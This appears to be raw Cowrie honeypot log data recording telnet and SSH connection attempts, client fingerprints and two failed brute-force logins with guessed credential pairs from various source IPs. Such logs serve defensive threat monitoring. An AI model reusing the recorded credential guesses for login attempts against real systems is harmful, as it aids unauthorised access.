{"eventid":"cowrie.session.connect","src_ip":"209.38.236.202","src_port":53504,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c97d3289a84","protocol":"telnet","message":"New connection: 209.38.236.202:53504 (10.17.0.5:23) [session: 7c97d3289a84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:50:04.273645Z"}
{"eventid":"cowrie.session.connect","src_ip":"195.201.63.96","src_port":43392,"dst_ip":"10.17.0.5","dst_port":23,"session":"266cbe8f274d","protocol":"telnet","message":"New connection: 195.201.63.96:43392 (10.17.0.5:23) [session: 266cbe8f274d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:50:05.330038Z"}
{"eventid":"cowrie.session.closed","duration":120.00185823440552,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:50:06.805136Z","src_ip":"152.59.19.2","session":"b698db9bfd1c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.59.19.2","src_port":55952,"dst_ip":"159.203.135.109","dst_port":23,"session":"370607a1a3d8","protocol":"telnet","message":"New connection: 152.59.19.2:55952 (159.203.135.109:23) [session: 370607a1a3d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:50:07.306307Z"}
{"eventid":"cowrie.session.connect","src_ip":"195.154.54.71","src_port":38066,"dst_ip":"10.17.0.5","dst_port":23,"session":"2527a69dd206","protocol":"telnet","message":"New connection: 195.154.54.71:38066 (10.17.0.5:23) [session: 2527a69dd206]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:50:11.273189Z"}
{"eventid":"cowrie.session.closed","duration":31.01325273513794,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:50:16.245481Z","src_ip":"94.76.241.23","session":"4b995724dca3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.744993448257446,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:50:18.065822Z","src_ip":"202.61.246.68","session":"0b935caf67ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.108.130.174","src_port":53426,"dst_ip":"10.17.0.5","dst_port":23,"session":"14911da2d6f2","protocol":"telnet","message":"New connection: 65.108.130.174:53426 (10.17.0.5:23) [session: 14911da2d6f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:50:19.502575Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.173.115","src_port":59962,"dst_ip":"10.17.0.5","dst_port":23,"session":"4143e89e5b36","protocol":"telnet","message":"New connection: 139.162.173.115:59962 (10.17.0.5:23) [session: 4143e89e5b36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:50:22.238718Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.199.40.97","src_port":37850,"dst_ip":"10.17.0.5","dst_port":23,"session":"7215101d8025","protocol":"telnet","message":"New connection: 213.199.40.97:37850 (10.17.0.5:23) [session: 7215101d8025]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:50:22.380448Z"}
{"eventid":"cowrie.session.connect","src_ip":"95.111.229.250","src_port":49814,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ed0d6be5928","protocol":"telnet","message":"New connection: 95.111.229.250:49814 (10.17.0.5:23) [session: 2ed0d6be5928]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:50:23.262075Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.209.161.246","src_port":51656,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e3affc1e81e","protocol":"telnet","message":"New connection: 185.209.161.246:51656 (10.17.0.5:23) [session: 1e3affc1e81e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:50:24.256200Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.181.128.222","src_port":48458,"dst_ip":"10.17.0.5","dst_port":23,"session":"66528b2765f7","protocol":"telnet","message":"New connection: 135.181.128.222:48458 (10.17.0.5:23) [session: 66528b2765f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:50:26.267361Z"}
{"eventid":"cowrie.session.connect","src_ip":"136.243.224.250","src_port":57632,"dst_ip":"10.17.0.5","dst_port":23,"session":"5aceb02d6d67","protocol":"telnet","message":"New connection: 136.243.224.250:57632 (10.17.0.5:23) [session: 5aceb02d6d67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:50:26.287987Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.159.104.50","src_port":50568,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3934e328a8d","protocol":"telnet","message":"New connection: 51.159.104.50:50568 (10.17.0.5:23) [session: a3934e328a8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:50:27.840891Z"}
{"eventid":"cowrie.session.connect","src_ip":"95.111.237.208","src_port":37966,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd20617c83f6","protocol":"telnet","message":"New connection: 95.111.237.208:37966 (10.17.0.5:23) [session: fd20617c83f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:50:28.283880Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.182.82.29","src_port":42492,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9d813a0c1eb","protocol":"telnet","message":"New connection: 185.182.82.29:42492 (10.17.0.5:23) [session: f9d813a0c1eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:50:31.275949Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.201.209","src_port":34316,"dst_ip":"10.17.0.5","dst_port":23,"session":"19dcd23f1b22","protocol":"telnet","message":"New connection: 139.162.201.209:34316 (10.17.0.5:23) [session: 19dcd23f1b22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:50:32.257230Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":37478,"dst_ip":"159.203.135.109","dst_port":22,"session":"6cf0ea04c982","protocol":"ssh","message":"New connection: 159.203.92.129:37478 (159.203.135.109:22) [session: 6cf0ea04c982]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:50:33.787861Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:50:33.792606Z","src_ip":"159.203.92.129","session":"6cf0ea04c982","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:50:33.797155Z","src_ip":"159.203.92.129","session":"6cf0ea04c982","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"abao","password":"123","message":"login attempt [abao/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:50:33.811464Z","src_ip":"159.203.92.129","session":"6cf0ea04c982","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.26.86.129","src_port":52538,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5423af2174e","protocol":"telnet","message":"New connection: 195.26.86.129:52538 (10.17.0.5:23) [session: e5423af2174e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:50:34.227318Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:50:34.818083Z","src_ip":"159.203.92.129","session":"6cf0ea04c982","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.798141479492188,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:50:35.071661Z","src_ip":"209.38.236.202","session":"7c97d3289a84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"75.119.148.9","src_port":52224,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a393295053d","protocol":"telnet","message":"New connection: 75.119.148.9:52224 (10.17.0.5:23) [session: 7a393295053d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:50:35.311997Z"}
{"eventid":"cowrie.session.closed","duration":30.753382682800293,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:50:36.083287Z","src_ip":"195.201.63.96","session":"266cbe8f274d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.63.108.25","src_port":60392,"dst_ip":"159.203.135.109","dst_port":22,"session":"c5d6967d9a7d","protocol":"ssh","message":"New connection: 103.63.108.25:60392 (159.203.135.109:22) [session: c5d6967d9a7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:50:38.437610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:50:38.442980Z","src_ip":"103.63.108.25","session":"c5d6967d9a7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:50:38.717568Z","src_ip":"103.63.108.25","session":"c5d6967d9a7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.222.173.254","src_port":43756,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa1350bee9f8","protocol":"telnet","message":"New connection: 91.222.173.254:43756 (10.17.0.5:23) [session: aa1350bee9f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:50:39.274822Z"}
{"eventid":"cowrie.login.failed","username":"users","password":"123456","message":"login attempt [users/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:50:39.836365Z","src_ip":"103.63.108.25","session":"c5d6967d9a7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:50:41.133104Z","src_ip":"103.63.108.25","session":"c5d6967d9a7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.79.44","src_port":51660,"dst_ip":"10.17.0.5","dst_port":23,"session":"89a2324a7a52","protocol":"telnet","message":"New connection: 161.97.79.44:51660 (10.17.0.5:23) [session: 89a2324a7a52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:50:41.278286Z"}
{"eventid":"cowrie.session.closed","duration":30.803869009017944,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:50:42.076926Z","src_ip":"195.154.54.71","session":"2527a69dd206","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.201.209","src_port":47910,"dst_ip":"10.17.0.5","dst_port":23,"session":"deb425b41bd6","protocol":"telnet","message":"New connection: 139.162.201.209:47910 (10.17.0.5:23) [session: deb425b41bd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:50:45.241326Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.168.163.76","src_port":51768,"dst_ip":"10.17.0.5","dst_port":23,"session":"d56afb42357f","protocol":"telnet","message":"New connection: 204.168.163.76:51768 (10.17.0.5:23) [session: d56afb42357f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:50:47.286491Z"}
{"eventid":"cowrie.session.closed","duration":30.555039167404175,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:50:50.057481Z","src_ip":"65.108.130.174","session":"14911da2d6f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.222.173.254","src_port":42268,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd628d4a4b6c","protocol":"telnet","message":"New connection: 91.222.173.254:42268 (10.17.0.5:23) [session: fd628d4a4b6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:50:52.300411Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.159.104.50","src_port":42842,"dst_ip":"10.17.0.5","dst_port":23,"session":"d601767c062e","protocol":"telnet","message":"New connection: 51.159.104.50:42842 (10.17.0.5:23) [session: d601767c062e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:50:52.729328Z"}
{"eventid":"cowrie.session.closed","duration":30.82641291618347,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:50:53.065026Z","src_ip":"139.162.173.115","session":"4143e89e5b36","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.72130298614502,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:50:53.101597Z","src_ip":"213.199.40.97","session":"7215101d8025","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.84019708633423,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:50:54.102161Z","src_ip":"95.111.229.250","session":"2ed0d6be5928","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.26.86.129","src_port":45216,"dst_ip":"10.17.0.5","dst_port":23,"session":"c17c18f5362c","protocol":"telnet","message":"New connection: 195.26.86.129:45216 (10.17.0.5:23) [session: c17c18f5362c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:50:54.228118Z"}
{"eventid":"cowrie.session.closed","duration":30.81117606163025,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:50:55.067186Z","src_ip":"185.209.161.246","session":"1e3affc1e81e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.181.128.222","src_port":46868,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb42f4b43769","protocol":"telnet","message":"New connection: 135.181.128.222:46868 (10.17.0.5:23) [session: bb42f4b43769]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:50:56.431981Z"}
{"eventid":"cowrie.session.closed","duration":30.793214559555054,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:50:57.060468Z","src_ip":"135.181.128.222","session":"66528b2765f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.78141760826111,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:50:57.069274Z","src_ip":"136.243.224.250","session":"5aceb02d6d67","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.108.130.174","src_port":33044,"dst_ip":"10.17.0.5","dst_port":23,"session":"863c40aeddbd","protocol":"telnet","message":"New connection: 65.108.130.174:33044 (10.17.0.5:23) [session: 863c40aeddbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:50:57.340443Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.182.82.29","src_port":49888,"dst_ip":"10.17.0.5","dst_port":23,"session":"885179a4590a","protocol":"telnet","message":"New connection: 185.182.82.29:49888 (10.17.0.5:23) [session: 885179a4590a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:50:58.240325Z"}
{"eventid":"cowrie.session.closed","duration":30.672929048538208,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:50:58.513640Z","src_ip":"51.159.104.50","session":"a3934e328a8d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.815409898757935,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:50:59.099184Z","src_ip":"95.111.237.208","session":"fd20617c83f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"95.111.237.208","src_port":55760,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8eb1e56a1f5","protocol":"telnet","message":"New connection: 95.111.237.208:55760 (10.17.0.5:23) [session: e8eb1e56a1f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:50:59.294812Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.201.209","src_port":48812,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4e1f45c1398","protocol":"telnet","message":"New connection: 139.162.201.209:48812 (10.17.0.5:23) [session: d4e1f45c1398]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:51:00.281439Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.173.115","src_port":45872,"dst_ip":"10.17.0.5","dst_port":23,"session":"366c48bfb698","protocol":"telnet","message":"New connection: 139.162.173.115:45872 (10.17.0.5:23) [session: 366c48bfb698]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:51:01.476141Z"}
{"eventid":"cowrie.session.closed","duration":30.843499422073364,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:51:02.119359Z","src_ip":"185.182.82.29","session":"f9d813a0c1eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"136.243.224.250","src_port":57124,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2b7d6b5eea9","protocol":"telnet","message":"New connection: 136.243.224.250:57124 (10.17.0.5:23) [session: b2b7d6b5eea9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:51:02.676387Z"}
{"eventid":"cowrie.session.closed","duration":30.810749769210815,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:51:03.067880Z","src_ip":"139.162.201.209","session":"19dcd23f1b22","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"75.119.148.9","src_port":42268,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a682e817980","protocol":"telnet","message":"New connection: 75.119.148.9:42268 (10.17.0.5:23) [session: 6a682e817980]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:51:04.315059Z"}
{"eventid":"cowrie.session.closed","duration":30.897085666656494,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:51:05.124305Z","src_ip":"195.26.86.129","session":"e5423af2174e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.154.54.71","src_port":55442,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6c9b8a44a79","protocol":"telnet","message":"New connection: 195.154.54.71:55442 (10.17.0.5:23) [session: b6c9b8a44a79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:51:05.352807Z"}
{"eventid":"cowrie.session.closed","duration":30.758126497268677,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:51:06.070023Z","src_ip":"75.119.148.9","session":"7a393295053d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.209.161.246","src_port":49640,"dst_ip":"10.17.0.5","dst_port":23,"session":"87ae958a976a","protocol":"telnet","message":"New connection: 185.209.161.246:49640 (10.17.0.5:23) [session: 87ae958a976a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:51:07.247001Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.199.40.97","src_port":44658,"dst_ip":"10.17.0.5","dst_port":23,"session":"e400b4c3bdd1","protocol":"telnet","message":"New connection: 213.199.40.97:44658 (10.17.0.5:23) [session: e400b4c3bdd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:51:08.432682Z"}
{"eventid":"cowrie.session.closed","duration":30.77481961250305,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:51:10.049549Z","src_ip":"91.222.173.254","session":"aa1350bee9f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.79.44","src_port":36412,"dst_ip":"10.17.0.5","dst_port":23,"session":"f92b6da6c5e3","protocol":"telnet","message":"New connection: 161.97.79.44:36412 (10.17.0.5:23) [session: f92b6da6c5e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:51:11.467300Z"}
{"eventid":"cowrie.session.closed","duration":30.797080039978027,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:51:12.075248Z","src_ip":"161.97.79.44","session":"89a2324a7a52","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.864034175872803,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:51:16.105241Z","src_ip":"139.162.201.209","session":"deb425b41bd6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54208,"dst_ip":"159.203.135.109","dst_port":22,"session":"d46374203f9c","protocol":"ssh","message":"New connection: 159.203.92.129:54208 (159.203.135.109:22) [session: d46374203f9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:51:16.111513Z"}
